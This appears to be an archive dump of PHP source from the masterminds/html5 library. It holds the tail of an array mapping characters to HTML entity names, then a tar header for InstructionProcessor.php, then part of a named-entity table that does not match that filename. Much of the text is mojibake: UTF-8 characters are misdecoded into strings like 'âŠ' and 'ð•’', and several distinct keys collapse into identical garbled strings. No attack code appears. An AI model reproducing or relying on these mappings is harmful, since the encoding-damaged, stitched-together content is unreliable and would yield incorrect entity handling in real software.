'⊔', '⊔︀' => '&sqcups', '⊕' => '⊕', '⊖' => '⊖', '⊗' => '⊗', '⊘' => '⊘', '⊙' => '⊙', '⊚' => '⊚', '⊛' => '⊛', 'âŠ' => '⊝', '⊞' => '⊞', '⊟' => '⊟', '⊠' => '⊠', '⊡' => '⊡', '⊢' => '⊢', '⊣' => '⊣', '⊤' => '⊤', '⊥' => '⊥', '⊧' => '⊧', '⊨' => '⊨', '⊩' => '⊩', '⊪' => '⊪', '⊫' => '⊫', '⊬' => '⊬', '⊭' => '⊭', '⊮' => '⊮', '⊯' => '⊯', '⊰' => '⊰', '⊲' => '⊲', '⊳' => '⊳', '⊴' => '⊴', '⊴⃒' => '&nvltrie', '⊵' => '⊵', '⊵⃒' => '&nvrtrie', '⊶' => '⊶', '⊷' => '⊷', '⊸' => '⊸', '⊹' => '⊹', '⊺' => '⊺', '⊻' => '⊻', '⊽' => '⊽', '⊾' => '⊾', '⊿' => '⊿', 'â‹€' => '⋀', 'â‹' => '⋁', 'â‹‚' => '⋂', '⋃' => '⋃', 'â‹„' => '⋄', 'â‹…' => '⋅', '⋆' => '⋆', '⋇' => '⋇', '⋈' => '⋈', '⋉' => '⋉', 'â‹Š' => '⋊', 'â‹‹' => '⋋', 'â‹Œ' => '⋌', 'â‹' => '⋍', 'â‹Ž' => '⋎', 'â‹' => '⋏', 'â‹' => '⋐', 'â‹‘' => '⋑', 'â‹’' => '⋒', 'â‹“' => '⋓', 'â‹”' => '⋔', 'â‹•' => '⋕', 'â‹–' => '⋖', 'â‹—' => '⋗', '⋘' => '⋘', '⋘̸' => '&nLl', 'â‹™' => '⋙', '⋙̸' => '&nGg', 'â‹š' => '⋚', '⋚︀' => '&lesg', 'â‹›' => '⋛', '⋛︀' => '&gesl', 'â‹ž' => '⋞', 'â‹Ÿ' => '⋟', 'â‹ ' => '⋠', 'â‹¡' => '⋡', 'â‹¢' => '⋢', 'â‹£' => '⋣', '⋦' => '⋦', '⋧' => '⋧', '⋨' => '⋨', 'â‹©' => '⋩', '⋪' => '⋪', 'â‹«' => '⋫', '⋬' => '⋬', 'â‹­' => '⋭', 'â‹®' => '⋮', '⋯' => '⋯', 'â‹°' => '⋰', '⋱' => '⋱', '⋲' => '⋲', '⋳' => '⋳', 'â‹´' => '⋴', '⋵' => '⋵', '⋵̸' => '¬indot', '⋶' => '⋶', 'â‹·' => '⋷', '⋹' => '⋹', '⋹̸' => '¬inE', '⋺' => '⋺', 'â‹»' => '⋻', '⋼' => '⋼', '⋽' => '⋽', '⋾' => '⋾', '⌅' => '⌅', '⌆' => '⌆', '⌈' => '⌈', '⌉' => '⌉', '⌊' => '⌊', '⌋' => '⌋', '⌌' => '⌌', 'âŒ' => '⌍', '⌎' => '⌎', 'âŒ' => '⌏', 'âŒ' => '⌐', '⌒' => '⌒', '⌓' => '⌓', '⌕' => '⌕', '⌖' => '⌖', '⌜' => '⌜', 'âŒ' => '⌝', '⌞' => '⌞', '⌟' => '⌟', '⌢' => '⌢', '⌣' => '⌣', '⌭' => '⌭', '⌮' => '⌮', '⌶' => '⌶', '⌽' => '⌽', '⌿' => '⌿', 'â¼' => '⍼', '⎰' => '⎰', '⎱' => '⎱', '⎴' => '⎴', '⎵' => '⎵', '⎶' => '⎶', 'âœ' => '⏜', 'â' => '⏝', 'âž' => '⏞', 'âŸ' => '⏟', 'â¢' => '⏢', 'â§' => '⏧', 'â£' => '␣', 'Ⓢ' => 'Ⓢ', '─' => '─', '│' => '│', '┌' => '┌', 'â”' => '┐', 'â””' => '└', '┘' => '┘', '├' => '├', '┤' => '┤', '┬' => '┬', 'â”´' => '┴', '┼' => '┼', 'â•' => '═', 'â•‘' => '║', 'â•’' => '╒', 'â•“' => '╓', 'â•”' => '╔', 'â••' => '╕', 'â•–' => '╖', 'â•—' => '╗', '╘' => '╘', 'â•™' => '╙', 'â•š' => '╚', 'â•›' => '╛', 'â•œ' => '╜', 'â•' => '╝', 'â•ž' => '╞', 'â•Ÿ' => '╟', 'â• ' => '╠', 'â•¡' => '╡', 'â•¢' => '╢', 'â•£' => '╣', '╤' => '╤', 'â•¥' => '╥', '╦' => '╦', '╧' => '╧', '╨' => '╨', 'â•©' => '╩', '╪' => '╪', 'â•«' => '╫', '╬' => '╬', 'â–€' => '▀', 'â–„' => '▄', 'â–ˆ' => '█', 'â–‘' => '░', 'â–’' => '▒', 'â–“' => '▓', 'â–¡' => '□', 'â–ª' => '▪', 'â–«' => '▫', 'â–­' => '▭', 'â–®' => '▮', 'â–±' => '▱', 'â–³' => '△', 'â–´' => '▴', 'â–µ' => '▵', 'â–¸' => '▸', 'â–¹' => '▹', 'â–½' => '▽', 'â–¾' => '▾', 'â–¿' => '▿', 'â—‚' => '◂', 'â—ƒ' => '◃', 'â—Š' => '◊', 'â—‹' => '○', 'â—¬' => '◬', 'â—¯' => '◯', 'â—¸' => '◸', 'â—¹' => '◹', 'â—º' => '◺', 'â—»' => '◻', 'â—¼' => '◼', '★' => '★', '☆' => '☆', '☎' => '☎', '♀' => '♀', '♂' => '♂', 'â™ ' => '♠', '♣' => '♣', '♥' => '♥', '♦' => '♦', '♪' => '♪', 'â™­' => '♭', 'â™®' => '♮', '♯' => '♯', '✓' => '✓', '✗' => '✗', '✠' => '✠', '✶' => '✶', 'â˜' => '❘', 'â²' => '❲', 'â³' => '❳', '⟈' => '⟈', '⟉' => '⟉', '⟦' => '⟦', '⟧' => '⟧', '⟨' => '⟨', '⟩' => '⟩', '⟪' => '⟪', '⟫' => '⟫', '⟬' => '⟬', '⟭' => '⟭', '⟵' => '⟵', '⟶' => '⟶', '⟷' => '⟷', '⟸' => '⟸', '⟹' => '⟹', '⟺' => '⟺', '⟼' => '⟼', '⟿' => '⟿', '⤂' => '⤂', '⤃' => '⤃', '⤄' => '⤄', '⤅' => '⤅', '⤌' => '⤌', 'â¤' => '⤍', '⤎' => '⤎', 'â¤' => '⤏', 'â¤' => '⤐', '⤑' => '⤑', '⤒' => '⤒', '⤓' => '⤓', '⤖' => '⤖', '⤙' => '⤙', '⤚' => '⤚', '⤛' => '⤛', '⤜' => '⤜', 'â¤' => '⤝', '⤞' => '⤞', '⤟' => '⤟', '⤠' => '⤠', '⤣' => '⤣', '⤤' => '⤤', '⤥' => '⤥', '⤦' => '⤦', '⤧' => '⤧', '⤨' => '⤨', '⤩' => '⤩', '⤪' => '⤪', '⤳' => '⤳', '⤳̸' => '&nrarrc', '⤵' => '⤵', '⤶' => '⤶', '⤷' => '⤷', '⤸' => '⤸', '⤹' => '⤹', '⤼' => '⤼', '⤽' => '⤽', '⥅' => '⥅', '⥈' => '⥈', '⥉' => '⥉', '⥊' => '⥊', '⥋' => '⥋', '⥎' => '⥎', 'â¥' => '⥏', 'â¥' => '⥐', '⥑' => '⥑', '⥒' => '⥒', '⥓' => '⥓', '⥔' => '⥔', '⥕' => '⥕', '⥖' => '⥖', '⥗' => '⥗', '⥘' => '⥘', '⥙' => '⥙', '⥚' => '⥚', '⥛' => '⥛', '⥜' => '⥜', 'â¥' => '⥝', '⥞' => '⥞', '⥟' => '⥟', '⥠' => '⥠', '⥡' => '⥡', '⥢' => '⥢', '⥣' => '⥣', '⥤' => '⥤', '⥥' => '⥥', '⥦' => '⥦', '⥧' => '⥧', '⥨' => '⥨', '⥩' => '⥩', '⥪' => '⥪', '⥫' => '⥫', '⥬' => '⥬', '⥭' => '⥭', '⥮' => '⥮', '⥯' => '⥯', '⥰' => '⥰', '⥱' => '⥱', '⥲' => '⥲', '⥳' => '⥳', '⥴' => '⥴', '⥵' => '⥵', '⥶' => '⥶', '⥸' => '⥸', '⥹' => '⥹', '⥻' => '⥻', '⥼' => '⥼', '⥽' => '⥽', '⥾' => '⥾', '⥿' => '⥿', '⦅' => '⦅', '⦆' => '⦆', '⦋' => '⦋', '⦌' => '⦌', 'â¦' => '⦍', '⦎' => '⦎', 'â¦' => '⦏', 'â¦' => '⦐', '⦑' => '⦑', '⦒' => '⦒', '⦓' => '⦓', '⦔' => '⦔', '⦕' => '⦕', '⦖' => '⦖', '⦚' => '⦚', '⦜' => '⦜', 'â¦' => '⦝', '⦤' => '⦤', '⦥' => '⦥', '⦦' => '⦦', '⦧' => '⦧', '⦨' => '⦨', '⦩' => '⦩', '⦪' => '⦪', '⦫' => '⦫', '⦬' => '⦬', '⦭' => '⦭', '⦮' => '⦮', '⦯' => '⦯', '⦰' => '⦰', '⦱' => '⦱', '⦲' => '⦲', '⦳' => '⦳', '⦴' => '⦴', '⦵' => '⦵', '⦶' => '⦶', '⦷' => '⦷', '⦹' => '⦹', '⦻' => '⦻', '⦼' => '⦼', '⦾' => '⦾', '⦿' => '⦿', '⧀' => '⧀', 'â§' => '⧁', '⧂' => '⧂', '⧃' => '⧃', '⧄' => '⧄', '⧅' => '⧅', '⧉' => '⧉', 'â§' => '⧍', '⧎' => '⧎', 'â§' => '⧏', 'â§Ì¸' => '&NotLeftTriangleBar', 'â§' => '⧐', 'â§Ì¸' => '&NotRightTriangleBar', '⧜' => '⧜', 'â§' => '⧝', '⧞' => '⧞', '⧣' => '⧣', '⧤' => '⧤', '⧥' => '⧥', '⧫' => '⧫', '⧴' => '⧴', '⧶' => '⧶', '⨀' => '⨀', 'â¨' => '⨁', '⨂' => '⨂', '⨄' => '⨄', '⨆' => '⨆', '⨌' => '⨌', 'â¨' => '⨍', 'â¨' => '⨐', '⨑' => '⨑', '⨒' => '⨒', '⨓' => '⨓', '⨔' => '⨔', '⨕' => '⨕', '⨖' => '⨖', '⨗' => '⨗', '⨢' => '⨢', '⨣' => '⨣', '⨤' => '⨤', '⨥' => '⨥', '⨦' => '⨦', '⨧' => '⨧', '⨩' => '⨩', '⨪' => '⨪', '⨭' => '⨭', '⨮' => '⨮', '⨯' => '⨯', '⨰' => '⨰', '⨱' => '⨱', '⨳' => '⨳', '⨴' => '⨴', '⨵' => '⨵', '⨶' => '⨶', '⨷' => '⨷', '⨸' => '⨸', '⨹' => '⨹', '⨺' => '⨺', '⨻' => '⨻', '⨼' => '⨼', '⨿' => '⨿', 'â©€' => '⩀', 'â©‚' => '⩂', '⩃' => '⩃', 'â©„' => '⩄', 'â©…' => '⩅', '⩆' => '⩆', '⩇' => '⩇', '⩈' => '⩈', '⩉' => '⩉', 'â©Š' => '⩊', 'â©‹' => '⩋', 'â©Œ' => '⩌', 'â©' => '⩍', 'â©' => '⩐', 'â©“' => '⩓', 'â©”' => '⩔', 'â©•' => '⩕', 'â©–' => '⩖', 'â©—' => '⩗', '⩘' => '⩘', 'â©š' => '⩚', 'â©›' => '⩛', 'â©œ' => '⩜', 'â©' => '⩝', 'â©Ÿ' => '⩟', '⩦' => '⩦', '⩪' => '⩪', 'â©­' => '⩭', '⩭̸' => '&ncongdot', 'â©®' => '⩮', '⩯' => '⩯', 'â©°' => '⩰', '⩰̸' => '&napE', '⩱' => '⩱', '⩲' => '⩲', '⩳' => '⩳', 'â©´' => '⩴', '⩵' => '⩵', 'â©·' => '⩷', '⩸' => '⩸', '⩹' => '⩹', '⩺' => '⩺', 'â©»' => '⩻', '⩼' => '⩼', '⩽' => '⩽', '⩽̸' => '&nles', '⩾' => '⩾', '⩾̸' => '&nges', 'â©¿' => '⩿', '⪀' => '⪀', 'âª' => '⪁', '⪂' => '⪂', '⪃' => '⪃', '⪄' => '⪄', '⪅' => '⪅', '⪆' => '⪆', '⪇' => '⪇', '⪈' => '⪈', '⪉' => '⪉', '⪊' => '⪊', '⪋' => '⪋', '⪌' => '⪌', 'âª' => '⪍', '⪎' => '⪎', 'âª' => '⪏', 'âª' => '⪐', '⪑' => '⪑', '⪒' => '⪒', '⪓' => '⪓', '⪔' => '⪔', '⪕' => '⪕', '⪖' => '⪖', '⪗' => '⪗', '⪘' => '⪘', '⪙' => '⪙', '⪚' => '⪚', 'âª' => '⪝', '⪞' => '⪞', '⪟' => '⪟', '⪠' => '⪠', '⪡' => '⪡', '⪡̸' => '&NotNestedLessLess', '⪢' => '⪢', '⪢̸' => '&NotNestedGreaterGreater', '⪤' => '⪤', '⪥' => '⪥', '⪦' => '⪦', '⪧' => '⪧', '⪨' => '⪨', '⪩' => '⪩', '⪪' => '⪪', '⪫' => '⪫', '⪬' => '⪬', '⪬︀' => '&smtes', '⪭' => '⪭', '⪭︀' => '&lates', '⪮' => '⪮', '⪯' => '⪯', '⪯̸' => '&NotPrecedesEqual', '⪰' => '⪰', '⪰̸' => '&NotSucceedsEqual', '⪳' => '⪳', '⪴' => '⪴', '⪵' => '⪵', '⪶' => '⪶', '⪷' => '⪷', '⪸' => '⪸', '⪹' => '⪹', '⪺' => '⪺', '⪻' => '⪻', '⪼' => '⪼', '⪽' => '⪽', '⪾' => '⪾', '⪿' => '⪿', 'â«€' => '⫀', 'â«' => '⫁', 'â«‚' => '⫂', '⫃' => '⫃', 'â«„' => '⫄', 'â«…' => '⫅', '⫅̸' => '&nsubE', '⫆' => '⫆', '⫆̸' => '&nsupseteqq', '⫇' => '⫇', '⫈' => '⫈', 'â«‹' => '⫋', '⫋︀' => '&vsubnE', 'â«Œ' => '⫌', '⫌︀' => '&varsupsetneqq', 'â«' => '⫏', 'â«' => '⫐', 'â«‘' => '⫑', 'â«’' => '⫒', 'â«“' => '⫓', 'â«”' => '⫔', 'â«•' => '⫕', 'â«–' => '⫖', 'â«—' => '⫗', '⫘' => '⫘', 'â«™' => '⫙', 'â«š' => '⫚', 'â«›' => '⫛', '⫤' => '⫤', '⫦' => '⫦', '⫧' => '⫧', '⫨' => '⫨', 'â«©' => '⫩', 'â««' => '⫫', '⫬' => '⫬', 'â«­' => '⫭', 'â«®' => '⫮', '⫯' => '⫯', 'â«°' => '⫰', '⫱' => '⫱', '⫲' => '⫲', '⫳' => '⫳', '⫽︀' => '&varsupsetneqq', 'ff' => 'ff', 'ï¬' => 'fi', 'fl' => 'fl', 'ffi' => 'ffi', 'ffl' => 'ffl', 'ð’œ' => '𝒜', 'ð’ž' => '𝒞', 'ð’Ÿ' => '𝒟', 'ð’¢' => '𝒢', 'ð’¥' => '𝒥', 'ð’¦' => '𝒦', 'ð’©' => '𝒩', 'ð’ª' => '𝒪', 'ð’«' => '𝒫', 'ð’¬' => '𝒬', 'ð’®' => '𝒮', 'ð’¯' => '𝒯', 'ð’°' => '𝒰', 'ð’±' => '𝒱', 'ð’²' => '𝒲', 'ð’³' => '𝒳', 'ð’´' => '𝒴', 'ð’µ' => '𝒵', 'ð’¶' => '𝒶', 'ð’·' => '𝒷', 'ð’¸' => '𝒸', 'ð’¹' => '𝒹', 'ð’»' => '𝒻', 'ð’½' => '𝒽', 'ð’¾' => '𝒾', 'ð’¿' => '𝒿', 'ð“€' => '𝓀', 'ð“' => '𝓁', 'ð“‚' => '𝓂', 'ð“ƒ' => '𝓃', 'ð“…' => '𝓅', 'ð“†' => '𝓆', 'ð“‡' => '𝓇', 'ð“ˆ' => '𝓈', 'ð“‰' => '𝓉', 'ð“Š' => '𝓊', 'ð“‹' => '𝓋', 'ð“Œ' => '𝓌', 'ð“' => '𝓍', 'ð“Ž' => '𝓎', 'ð“' => '𝓏', 'ð”„' => '𝔄', 'ð”…' => '𝔅', 'ð”‡' => '𝔇', 'ð”ˆ' => '𝔈', 'ð”‰' => '𝔉', 'ð”Š' => '𝔊', 'ð”' => '𝔍', 'ð”Ž' => '𝔎', 'ð”' => '𝔏', 'ð”' => '𝔐', 'ð”‘' => '𝔑', 'ð”’' => '𝔒', 'ð”“' => '𝔓', 'ð””' => '𝔔', 'ð”–' => '𝔖', 'ð”—' => '𝔗', 'ð”˜' => '𝔘', 'ð”™' => '𝔙', 'ð”š' => '𝔚', 'ð”›' => '𝔛', 'ð”œ' => '𝔜', 'ð”ž' => '𝔞', 'ð”Ÿ' => '𝔟', 'ð” ' => '𝔠', 'ð”¡' => '𝔡', 'ð”¢' => '𝔢', 'ð”£' => '𝔣', 'ð”¤' => '𝔤', 'ð”¥' => '𝔥', 'ð”¦' => '𝔦', 'ð”§' => '𝔧', 'ð”¨' => '𝔨', 'ð”©' => '𝔩', 'ð”ª' => '𝔪', 'ð”«' => '𝔫', 'ð”¬' => '𝔬', 'ð”­' => '𝔭', 'ð”®' => '𝔮', 'ð”¯' => '𝔯', 'ð”°' => '𝔰', 'ð”±' => '𝔱', 'ð”²' => '𝔲', 'ð”³' => '𝔳', 'ð”´' => '𝔴', 'ð”µ' => '𝔵', 'ð”¶' => '𝔶', 'ð”·' => '𝔷', 'ð”¸' => '𝔸', 'ð”¹' => '𝔹', 'ð”»' => '𝔻', 'ð”¼' => '𝔼', 'ð”½' => '𝔽', 'ð”¾' => '𝔾', 'ð•€' => '𝕀', 'ð•' => '𝕁', 'ð•‚' => '𝕂', 'ð•ƒ' => '𝕃', 'ð•„' => '𝕄', 'ð•†' => '𝕆', 'ð•Š' => '𝕊', 'ð•‹' => '𝕋', 'ð•Œ' => '𝕌', 'ð•' => '𝕍', 'ð•Ž' => '𝕎', 'ð•' => '𝕏', 'ð•' => '𝕐', 'ð•’' => '𝕒', 'ð•“' => '𝕓', 'ð•”' => '𝕔', 'ð••' => '𝕕', 'ð•–' => '𝕖', 'ð•—' => '𝕗', 'ð•˜' => '𝕘', 'ð•™' => '𝕙', 'ð•š' => '𝕚', 'ð•›' => '𝕛', 'ð•œ' => '𝕜', 'ð•' => '𝕝', 'ð•ž' => '𝕞', 'ð•Ÿ' => '𝕟', 'ð• ' => '𝕠', 'ð•¡' => '𝕡', 'ð•¢' => '𝕢', 'ð•£' => '𝕣', 'ð•¤' => '𝕤', 'ð•¥' => '𝕥', 'ð•¦' => '𝕦', 'ð•§' => '𝕧', 'ð•¨' => '𝕨', 'ð•©' => '𝕩', 'ð•ª' => '𝕪', 'ð•«' => '𝕫', ); } res/readability/vendor/masterminds/html5/src/HTML5/InstructionProcessor.php000064400000003364147577714370023110 0ustar00 'Ã', 'Aacut' => 'Ã', 'aacute' => 'á', 'aacut' => 'á', 'Abreve' => 'Ä‚', 'abreve' => 'ă', 'ac' => '∾', 'acd' => '∿', 'acE' => '∾̳', 'Acirc' => 'Â', 'Acir' => 'Â', 'acirc' => 'â', 'acir' => 'â', 'acute' => '´', 'acut' => '´', 'Acy' => 'Ð', 'acy' => 'а', 'AElig' => 'Æ', 'AEli' => 'Æ', 'aelig' => 'æ', 'aeli' => 'æ', 'af' => 'â¡', 'Afr' => 'ð”„', 'afr' => 'ð”ž', 'Agrave' => 'À', 'Agrav' => 'À', 'agrave' => 'à', 'agrav' => 'à', 'alefsym' => 'ℵ', 'aleph' => 'ℵ', 'Alpha' => 'Α', 'alpha' => 'α', 'Amacr' => 'Ä€', 'amacr' => 'Ä', 'amalg' => '⨿', 'AMP' => '&', 'AM' => '&', 'amp' => '&', 'am' => '&', 'And' => 'â©“', 'and' => '∧', 'andand' => 'â©•', 'andd' => 'â©œ', 'andslope' => '⩘', 'andv' => 'â©š', 'ang' => '∠', 'ange' => '⦤', 'angle' => '∠', 'angmsd' => '∡', 'angmsdaa' => '⦨', 'angmsdab' => '⦩', 'angmsdac' => '⦪', 'angmsdad' => '⦫', 'angmsdae' => '⦬', 'angmsdaf' => '⦭', 'angmsdag' => '⦮', 'angmsdah' => '⦯', 'angrt' => '∟', 'angrtvb' => '⊾', 'angrtvbd' => 'â¦', 'angsph' => '∢', 'angst' => 'Ã…', 'angzarr' => 'â¼', 'Aogon' => 'Ä„', 'aogon' => 'Ä…', 'Aopf' => 'ð”¸', 'aopf' => 'ð•’', 'ap' => '≈', 'apacir' => '⩯', 'apE' => 'â©°', 'ape' => '≊', 'apid' => '≋', 'apos' => '\'', 'ApplyFunction' => 'â¡', 'approx' => '≈', 'approxeq' => '≊', 'Aring' => 'Ã…', 'Arin' => 'Ã…', 'aring' => 'Ã¥', 'arin' => 'Ã¥', 'Ascr' => 'ð’œ', 'ascr' => 'ð’¶', 'Assign' => '≔', 'ast' => '*', 'asymp' => '≈', 'asympeq' => 'â‰', 'Atilde' => 'Ã', 'Atild' => 'Ã', 'atilde' => 'ã', 'atild' => 'ã', 'Auml' => 'Ä', 'Aum' => 'Ä', 'auml' => 'ä', 'aum' => 'ä', 'awconint' => '∳', 'awint' => '⨑', 'backcong' => '≌', 'backepsilon' => '϶', 'backprime' => '‵', 'backsim' => '∽', 'backsimeq' => 'â‹', 'Backslash' => '∖', 'Barv' => '⫧', 'barvee' => '⊽', 'Barwed' => '⌆', 'barwed' => '⌅', 'barwedge' => '⌅', 'bbrk' => '⎵', 'bbrktbrk' => '⎶', 'bcong' => '≌', 'Bcy' => 'Б', 'bcy' => 'б', 'bdquo' => '„', 'becaus' => '∵', 'Because' => '∵', 'because' => '∵', 'bemptyv' => '⦰', 'bepsi' => '϶', 'bernou' => 'ℬ', 'Bernoullis' => 'ℬ', 'Beta' => 'Î’', 'beta' => 'β', 'beth' => 'ℶ', 'between' => '≬', 'Bfr' => 'ð”…', 'bfr' => 'ð”Ÿ', 'bigcap' => 'â‹‚', 'bigcirc' => 'â—¯', 'bigcup' => '⋃', 'bigodot' => '⨀', 'bigoplus' => 'â¨', 'bigotimes' => '⨂', 'bigsqcup' => '⨆', 'bigstar' => '★', 'bigtriangledown' => 'â–½', 'bigtriangleup' => 'â–³', 'biguplus' => '⨄', 'bigvee' => 'â‹', 'bigwedge' => 'â‹€', 'bkarow' => 'â¤', 'blacklozenge' => '⧫', 'blacksquare' => 'â–ª', 'blacktriangle' => 'â–´', 'blacktriangledown' => 'â–¾', 'blacktriangleleft' => 'â—‚', 'blacktriangleright' => 'â–¸', 'blank' => 'â£', 'blk12' => 'â–’', 'blk14' => 'â–‘', 'blk34' => 'â–“', 'block' => 'â–ˆ', 'bne' => '=⃥', 'bnequiv' => '≡⃥', 'bNot' => 'â«­', 'bnot' => 'âŒ', 'Bopf' => 'ð”¹', 'bopf' => 'ð•“', 'bot' => '⊥', 'bottom' => '⊥', 'bowtie' => '⋈', 'boxbox' => '⧉', 'boxDL' => 'â•—', 'boxDl' => 'â•–', 'boxdL' => 'â••', 'boxdl' => 'â”', 'boxDR' => 'â•”', 'boxDr' => 'â•“', 'boxdR' => 'â•’', 'boxdr' => '┌', 'boxH' => 'â•', 'boxh' => '─', 'boxHD' => '╦', 'boxHd' => '╤', 'boxhD' => 'â•¥', 'boxhd' => '┬', 'boxHU' => 'â•©', 'boxHu' => '╧', 'boxhU' => '╨', 'boxhu' => 'â”´', 'boxminus' => '⊟', 'boxplus' => '⊞', 'boxtimes' => '⊠', 'boxUL' => 'â•', 'boxUl' => 'â•œ', 'boxuL' => 'â•›', 'boxul' => '┘', 'boxUR' => 'â•š', 'boxUr' => 'â•™', 'boxuR' => '╘', 'boxur' => 'â””', 'boxV' => 'â•‘', 'boxv' => '│', 'boxVH' => '╬', 'boxVh' => 'â•«', 'boxvH' => '╪', 'boxvh' => '┼', 'boxVL' => 'â•£', 'boxVl' => 'â•¢', 'boxvL' => 'â•¡', 'boxvl' => '┤', 'boxVR' => 'â• ', 'boxVr' => 'â•Ÿ', 'boxvR' => 'â•ž', 'boxvr' => '├', 'bprime' => '‵', 'Breve' => '˘', 'breve' => '˘', 'brvbar' => '¦', 'brvba' => '¦', 'Bscr' => 'ℬ', 'bscr' => 'ð’·', 'bsemi' => 'â', 'bsim' => '∽', 'bsime' => 'â‹', 'bsol' => '\\', 'bsolb' => '⧅', 'bsolhsub' => '⟈', 'bull' => '•', 'bullet' => '•', 'bump' => '≎', 'bumpE' => '⪮', 'bumpe' => 'â‰', 'Bumpeq' => '≎', 'bumpeq' => 'â‰', 'Cacute' => 'Ć', 'cacute' => 'ć', 'Cap' => 'â‹’', 'cap' => '∩', 'capand' => 'â©„', 'capbrcup' => '⩉', 'capcap' => 'â©‹', 'capcup' => '⩇', 'capdot' => 'â©€', 'CapitalDifferentialD' => 'â……', 'caps' => '∩︀', 'caret' => 'â', 'caron' => 'ˇ', 'Cayleys' => 'â„­', 'ccaps' => 'â©', 'Ccaron' => 'ÄŒ', 'ccaron' => 'Ä', 'Ccedil' => 'Ç', 'Ccedi' => 'Ç', 'ccedil' => 'ç', 'ccedi' => 'ç', 'Ccirc' => 'Ĉ', 'ccirc' => 'ĉ', 'Cconint' => '∰', 'ccups' => 'â©Œ', 'ccupssm' => 'â©', 'Cdot' => 'ÄŠ', 'cdot' => 'Ä‹', 'cedil' => '¸', 'cedi' => '¸', 'Cedilla' => '¸', 'cemptyv' => '⦲', 'cent' => '¢', 'cen' => '¢', 'CenterDot' => '·', 'centerdot' => '·', 'Cfr' => 'â„­', 'cfr' => 'ð” ', 'CHcy' => 'Ч', 'chcy' => 'ч', 'check' => '✓', 'checkmark' => '✓', 'Chi' => 'Χ', 'chi' => 'χ', 'cir' => 'â—‹', 'circ' => 'ˆ', 'circeq' => '≗', 'circlearrowleft' => '↺', 'circlearrowright' => '↻', 'circledast' => '⊛', 'circledcirc' => '⊚', 'circleddash' => 'âŠ', 'CircleDot' => '⊙', 'circledR' => '®', 'circledS' => 'Ⓢ', 'CircleMinus' => '⊖', 'CirclePlus' => '⊕', 'CircleTimes' => '⊗', 'cirE' => '⧃', 'cire' => '≗', 'cirfnint' => 'â¨', 'cirmid' => '⫯', 'cirscir' => '⧂', 'ClockwiseContourIntegral' => '∲', 'CloseCurlyDoubleQuote' => 'â€', 'CloseCurlyQuote' => '’', 'clubs' => '♣', 'clubsuit' => '♣', 'Colon' => '∷', 'colon' => ':', 'Colone' => 'â©´', 'colone' => '≔', 'coloneq' => '≔', 'comma' => ',', 'commat' => '@', 'comp' => 'âˆ', 'compfn' => '∘', 'complement' => 'âˆ', 'complexes' => 'â„‚', 'cong' => '≅', 'congdot' => 'â©­', 'Congruent' => '≡', 'Conint' => '∯', 'conint' => '∮', 'ContourIntegral' => '∮', 'Copf' => 'â„‚', 'copf' => 'ð•”', 'coprod' => 'âˆ', 'Coproduct' => 'âˆ', 'COPY' => '©', 'COP' => '©', 'copy' => '©', 'cop' => '©', 'copysr' => 'â„—', 'CounterClockwiseContourIntegral' => '∳', 'crarr' => '↵', 'Cross' => '⨯', 'cross' => '✗', 'Cscr' => 'ð’ž', 'cscr' => 'ð’¸', 'csub' => 'â«', 'csube' => 'â«‘', 'csup' => 'â«', 'csupe' => 'â«’', 'ctdot' => '⋯', 'cudarrl' => '⤸', 'cudarrr' => '⤵', 'cuepr' => 'â‹ž', 'cuesc' => 'â‹Ÿ', 'cularr' => '↶', 'cularrp' => '⤽', 'Cup' => 'â‹“', 'cup' => '∪', 'cupbrcap' => '⩈', 'CupCap' => 'â‰', 'cupcap' => '⩆', 'cupcup' => 'â©Š', 'cupdot' => 'âŠ', 'cupor' => 'â©…', 'cups' => '∪︀', 'curarr' => '↷', 'curarrm' => '⤼', 'curlyeqprec' => 'â‹ž', 'curlyeqsucc' => 'â‹Ÿ', 'curlyvee' => 'â‹Ž', 'curlywedge' => 'â‹', 'curren' => '¤', 'curre' => '¤', 'curvearrowleft' => '↶', 'curvearrowright' => '↷', 'cuvee' => 'â‹Ž', 'cuwed' => 'â‹', 'cwconint' => '∲', 'cwint' => '∱', 'cylcty' => '⌭', 'Dagger' => '‡', 'dagger' => '†', 'daleth' => 'ℸ', 'Darr' => '↡', 'dArr' => '⇓', 'darr' => '↓', 'dash' => 'â€', 'Dashv' => '⫤', 'dashv' => '⊣', 'dbkarow' => 'â¤', 'dblac' => 'Ë', 'Dcaron' => 'ÄŽ', 'dcaron' => 'Ä', 'Dcy' => 'Д', 'dcy' => 'д', 'DD' => 'â……', 'dd' => 'â…†', 'ddagger' => '‡', 'ddarr' => '⇊', 'DDotrahd' => '⤑', 'ddotseq' => 'â©·', 'deg' => '°', 'de' => '°', 'Del' => '∇', 'Delta' => 'Δ', 'delta' => 'δ', 'demptyv' => '⦱', 'dfisht' => '⥿', 'Dfr' => 'ð”‡', 'dfr' => 'ð”¡', 'dHar' => '⥥', 'dharl' => '⇃', 'dharr' => '⇂', 'DiacriticalAcute' => '´', 'DiacriticalDot' => 'Ë™', 'DiacriticalDoubleAcute' => 'Ë', 'DiacriticalGrave' => '`', 'DiacriticalTilde' => 'Ëœ', 'diam' => 'â‹„', 'Diamond' => 'â‹„', 'diamond' => 'â‹„', 'diamondsuit' => '♦', 'diams' => '♦', 'die' => '¨', 'DifferentialD' => 'â…†', 'digamma' => 'Ï', 'disin' => '⋲', 'div' => '÷', 'divide' => '÷', 'divid' => '÷', 'divideontimes' => '⋇', 'divonx' => '⋇', 'DJcy' => 'Ђ', 'djcy' => 'Ñ’', 'dlcorn' => '⌞', 'dlcrop' => 'âŒ', 'dollar' => '$', 'Dopf' => 'ð”»', 'dopf' => 'ð••', 'Dot' => '¨', 'dot' => 'Ë™', 'DotDot' => '⃜', 'doteq' => 'â‰', 'doteqdot' => '≑', 'DotEqual' => 'â‰', 'dotminus' => '∸', 'dotplus' => '∔', 'dotsquare' => '⊡', 'doublebarwedge' => '⌆', 'DoubleContourIntegral' => '∯', 'DoubleDot' => '¨', 'DoubleDownArrow' => '⇓', 'DoubleLeftArrow' => 'â‡', 'DoubleLeftRightArrow' => '⇔', 'DoubleLeftTee' => '⫤', 'DoubleLongLeftArrow' => '⟸', 'DoubleLongLeftRightArrow' => '⟺', 'DoubleLongRightArrow' => '⟹', 'DoubleRightArrow' => '⇒', 'DoubleRightTee' => '⊨', 'DoubleUpArrow' => '⇑', 'DoubleUpDownArrow' => '⇕', 'DoubleVerticalBar' => '∥', 'DownArrow' => '↓', 'Downarrow' => '⇓', 'downarrow' => '↓', 'DownArrowBar' => '⤓', 'DownArrowUpArrow' => '⇵', 'DownBreve' => 'Ì‘', 'downdownarrows' => '⇊', 'downharpoonleft' => '⇃', 'downharpoonright' => '⇂', 'DownLeftRightVector' => 'â¥', 